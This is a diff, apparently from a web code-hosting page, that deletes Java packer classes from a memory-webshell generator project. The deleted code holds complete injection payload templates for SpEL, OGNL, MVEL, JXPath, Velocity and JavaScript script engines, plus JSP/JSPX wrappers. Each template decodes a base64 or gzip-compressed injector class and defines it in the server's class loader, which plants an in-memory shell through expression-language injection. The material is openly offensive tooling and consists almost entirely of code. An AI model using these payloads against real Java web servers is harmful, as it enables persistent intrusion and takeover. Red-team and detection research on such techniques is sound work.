public String pack(GenerateResult generateResult) {
|
||||
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
|
||||
String injectorClassName = generateResult.getInjectorClassName();
|
||||
String template = this.template;
|
||||
if (generateResult.getShellConfig().needByPassJavaModule()) {
|
||||
template = bypassTemplate;
|
||||
}
|
||||
return template.replace("{{className}}", injectorClassName)
|
||||
.replace("{{base64Str}}", injectorBytesBase64Str);
|
||||
}
|
||||
}
|
||||
@@ -1,10 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.packer.jsp;
|
||||
|
||||
import com.reajason.javaweb.memshell.packer.AggregatePacker;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/26
|
||||
*/
|
||||
public class JspPacker implements AggregatePacker {
|
||||
}
|
||||
@@ -1,34 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.packer.jsp;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
|
||||
import java.nio.charset.Charset;
|
||||
import java.util.Objects;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/26
|
||||
*/
|
||||
public class JspxPacker implements Packer {
|
||||
|
||||
String jspxTemplate = null;
|
||||
|
||||
public JspxPacker() {
|
||||
try {
|
||||
jspxTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.jspx")), Charset.defaultCharset());
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(GenerateResult generateResult) {
|
||||
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
|
||||
String injectorClassName = generateResult.getInjectorClassName();
|
||||
return jspxTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str);
|
||||
}
|
||||
}
|
||||
@@ -1,19 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.packer.jxpath;
|
||||
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
public class JXPathPacker implements Packer {
|
||||
String template = "eval(getEngineByName(javax.script.ScriptEngineManager.new(), 'js'), '{{script}}')";
|
||||
|
||||
@Override
|
||||
public String pack(GenerateResult generateResult) {
|
||||
String script = Packers.ScriptEngine.getInstance().pack(generateResult);
|
||||
return template.replace("{{script}}", script);
|
||||
}
|
||||
}
|
||||
@@ -1,19 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.packer.mvel;
|
||||
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/29
|
||||
*/
|
||||
public class MVELPacker implements Packer {
|
||||
String template = "new javax.script.ScriptEngineManager().getEngineByName('js').eval('{{script}}')";
|
||||
|
||||
@Override
|
||||
public String pack(GenerateResult generateResult) {
|
||||
String script = Packers.ScriptEngine.getInstance().pack(generateResult);
|
||||
return template.replace("{{script}}", script);
|
||||
}
|
||||
}
|
||||
@@ -1,19 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.packer.ognl;
|
||||
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/14
|
||||
*/
|
||||
public class OGNLPacker implements Packer {
|
||||
String template = "(new javax.script.ScriptEngineManager()).getEngineByName('js').eval('{{script}}')";
|
||||
|
||||
@Override
|
||||
public String pack(GenerateResult generateResult) {
|
||||
String script = Packers.ScriptEngine.getInstance().pack(generateResult);
|
||||
return template.replace("{{script}}", script);
|
||||
}
|
||||
}
|
||||
@@ -1,17 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.packer.rhino;
|
||||
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/30
|
||||
*/
|
||||
public class RhinoPacker implements Packer {
|
||||
|
||||
@Override
|
||||
public String pack(GenerateResult generateResult) {
|
||||
return Packers.ScriptEngine.getInstance().pack(generateResult);
|
||||
}
|
||||
}
|
||||
-38
@@ -1,38 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.packer.scriptengine;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.nio.charset.Charset;
|
||||
import java.util.Objects;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/3
|
||||
*/
|
||||
public class ScriptEnginePacker implements Packer {
|
||||
String jsTemplate = null;
|
||||
|
||||
public ScriptEnginePacker() {
|
||||
try {
|
||||
jsTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.js")), Charset.defaultCharset());
|
||||
} catch (IOException ignored) {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(GenerateResult generateResult) {
|
||||
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
|
||||
String injectorClassName = generateResult.getInjectorClassName();
|
||||
return jsTemplate.replace("{{className}}", injectorClassName)
|
||||
.replace("{{base64Str}}", injectorBytesBase64Str)
|
||||
.replace("\n", "")
|
||||
.replaceAll("(?m)^[ \t]+|[ \t]+$", "")
|
||||
.replaceAll("[ \t]{2,}", " ");
|
||||
}
|
||||
}
|
||||
@@ -1,10 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.packer.spel;
|
||||
|
||||
import com.reajason.javaweb.memshell.packer.AggregatePacker;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/26
|
||||
*/
|
||||
public class SpELPacker implements AggregatePacker {
|
||||
}
|
||||
-19
@@ -1,19 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.packer.spel;
|
||||
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
public class SpELScriptEnginePacker implements Packer {
|
||||
String template = "T(javax.script.ScriptEngineManager).newInstance().getEngineByName('js').eval('{{script}}')";
|
||||
|
||||
@Override
|
||||
public String pack(GenerateResult generateResult) {
|
||||
String script = Packers.ScriptEngine.getInstance().pack(generateResult);
|
||||
return template.replace("{{script}}", script);
|
||||
}
|
||||
}
|
||||
-25
@@ -1,25 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.packer.spel;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||
import lombok.SneakyThrows;
|
||||
|
||||
import java.util.Base64;
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
public class SpELSpringIOUtilsGzipPacker implements Packer {
|
||||
String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.apache.commons.io.IOUtils).toByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}')))),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()";
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(GenerateResult generateResult) {
|
||||
return template.replace("{{className}}", generateResult.getInjectorClassName())
|
||||
.replace("{{base64Str}}", Base64.getEncoder().encodeToString(CommonUtil.gzipCompress(generateResult.getInjectorBytes())));
|
||||
}
|
||||
}
|
||||
-18
@@ -1,18 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.packer.spel;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
public class SpELSpringUtilsPacker implements Packer {
|
||||
String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}'),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()";
|
||||
|
||||
@Override
|
||||
public String pack(GenerateResult generateResult) {
|
||||
return template.replace("{{className}}", generateResult.getInjectorClassName())
|
||||
.replace("{{base64Str}}", generateResult.getInjectorBytesBase64Str());
|
||||
}
|
||||
}
|
||||
-19
@@ -1,19 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.packer.velocity;
|
||||
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
public class VelocityPacker implements Packer {
|
||||
String template = "#set($x='') #set($cz = $x.class.forName('javax.script.ScriptEngineManager')) $cz.getDeclaredConstructor(null).newInstance().getEngineByName('js').eval('{{script}}')";
|
||||
|
||||
@Override
|
||||
public String pack(GenerateResult generateResult) {
|
||||
String script = Packers.ScriptEngine.getInstance().pack(generateResult);
|
||||
return template.replace("{{script}}", script);
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user